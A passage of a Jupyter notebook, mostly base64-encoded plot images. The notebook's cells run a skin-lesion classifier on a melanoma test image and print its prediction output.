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", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "predict_image_class(\"data/test/melanoma/ISIC_0013767.jpg\", m)" + ] + }, + { + "cell_type": "code", + "execution_count": 36, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 355 + }, + "id": "PaNqQ5HcyXVa", + "outputId": "88d3f30e-b28f-42bb-cc4e-4a52064f9331" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "1/1 [==============================] - 0s 50ms/step\n" + ] + }, + { + "name": "stderr", + "output_type": "stream", + "text": [ + "WARNING:matplotlib.image:Clipping input data to the valid range for imshow with RGB data ([0..1] for floats or [0..255] for integers).\n" + ] + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "[[0.21590327]]\n", + "0.21590327\n", + "This image is 78.41% benign.\n" + ] + }, + { + "data": { + "image/png": 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